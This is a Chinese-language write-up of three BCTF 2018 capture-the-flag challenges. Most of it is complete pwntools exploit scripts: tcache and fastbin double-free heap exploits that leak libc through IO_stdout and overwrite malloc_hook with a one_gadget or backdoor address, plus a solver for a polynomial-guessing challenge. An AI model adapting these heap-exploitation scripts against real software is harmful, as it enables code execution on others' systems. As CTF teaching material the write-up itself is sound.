BCTF 2018

BCTF2018,时间原因(明天计网考试,不敢再浪了),只有第一天下午和晚上看了下题,做了三道比较简单的题,粗略看了一下,剩下的pwn还是很有意思的,等有时间再复现一下orz(赶去复习ing)

0x01 three

程序存在UAF->double free伪造size并使一个chunk free进unsorted,这时候fd会写入main arena+0x88,覆盖fd低字节指向IO_stdout(爆破4bits),再次利用double free使chunk分配到IO_stdout,并覆盖IO_write_base来leak libc,再次利用double free使chunk分配进malloc hook,覆盖其为one_gadget。过程其实比较简单,主要是这里有三个chunk的限制,加上我太菜,调试了近两个小时orz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *


def add(note):
p.sendlineafter("choice:","1")
p.sendafter(":",note)

def delete(index,c="n"):
p.sendlineafter("choice:","3")
p.sendlineafter(":",str(index))
p.sendlineafter(":",c)

def edit(index,note):
p.sendlineafter("choice:","2")
p.sendlineafter(":",str(index))
p.sendafter(":",note)

context.log_level='debug'
p=process("./three")
p=remote("39.96.13.122",9999)
#tcache bin double free
add(p64(0)*3+p64(0x51))#0
add(p64(0)+p64(0x81))#1
add(p64(0)*2+p64(0x90)+p64(0x31)+p64(0)*2)#2
delete(1,"y")
delete(2,"y")
delete(0)
delete(0,"y")
add("\x80")#0
add("kirin")#1
add(p64(0)+p64(0x91))#2
delete(1,"y")
delete(2)
delete(2,"y")
edit(0,p64(0)*4+"\x90")
add("kirin")
add("kirin")
#unsorted bin->IO_stdout
for i in range(7):
delete(2)
delete(2,"y")
edit(0,p64(0)*3+p64(0x51))
edit(1,p64(0)+p64(0x71)+"\x60\x67")
delete(1)
delete(1,"y")
edit(0,p64(0)*3+p64(0x51)+"\x90")
add("kirin")
add("kirin")
edit(0,p64(0)*3+p64(0xa1))
delete(1,"y")
#overwrite the IO_write_base to leak
add(p64(0xfbad1887)+p64(0)*3+"\x00")
s=p.recv(32)[8:16]
libc_base = u64(s)-0x3ed8b0
malloc_hook=libc_base+0x3ebc30
one_gadget=libc_base+0x10a38c
print hex(libc_base)
#overwrite malloc hook
edit(0,p64(0)*5+p64(0x51))
delete(2)
delete(2,"y")
add(p64(malloc_hook))
edit(0,p64(0)*5+p64(0xb1))
delete(2,"y")
edit(0,p64(0)*5+p64(0x51)+p64(malloc_hook))
add("kirin")
edit(0,p64(0)*5+p64(0xb1))
delete(2,"y")
add(p64(one_gadget))
delete(0,"y")
#gdb.attach(p)
p.interactive()

0x02 easiest

程序没有leak,存在UAF,覆盖fd低字节(爆破4bits),使fastbin分配到malloc_hook,然后覆盖其为后门即可(注意程序20次操作限制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *


def add(index,length,note):
p.sendlineafter("2 delete \n","1")
p.sendlineafter(":",str(index))
p.sendlineafter(":",str(length))
p.sendafter("C:",note)
def delete(index):
p.sendlineafter("2 delete \n","2")
p.sendlineafter(":",str(index))
#context.log_level='debug'
#p=process("./easiest")
p=remote("39.96.9.148",9999)
add(0,8,"kirin\n")
add(1,16,p64(0)+p64(0x21))
add(3,0x200,p64(0)+p64(0x71)+p64(0)*11+p64(0x71)+p64(0)*2+p64(0x90)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x71)+"\n")
#fastbin
delete(0)
delete(1)
delete(0)
add(6,1,"\x30")
add(7,8,"kirin\n")
add(7,8,"kirin\n")
add(8,16,p64(0)+p64(0x71))
delete(3)
#gdb.attach(p)
delete(8)
add(9,16,p64(0)+p64(0x91))
delete(8)
delete(3)
add(10,18,p64(0)+p64(0x71)+"\xed\x1a")
add(0,0x68,"kirin\n")
add(0,0x68,"a"*0x13+p64(0x400946)+"\n")
#gdb.attach(p)
p.interactive()

0x03 guess_polynomial

多项式,很容易想到输入一个巨长的16的幂,这时候每个系数互不影响,把回显转为16进制,再隔特定位数取数即得多项式各个系数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#context.log_level='debug'
p=remote("39.96.8.114",9999)
for s in range(10):
p.sendlineafter(": ",str(16**120))
p.recvuntil(": ")
key=hex(int(p.recvuntil("\n").strip()))[2:]
print key
ans=[]
i=120
while i<=len(key):
if i==120:
ans.append(key[-i:])
else:
ans.append(key[-i:-i+120])
i+=120
i-=120
ans.append(key[:-i])
print ans
key2=""
for i in range(len(ans)):
key2+=str(int(ans[len(ans)-i-1],16))+" "
p.sendline(key2)
print key2
p.interactive()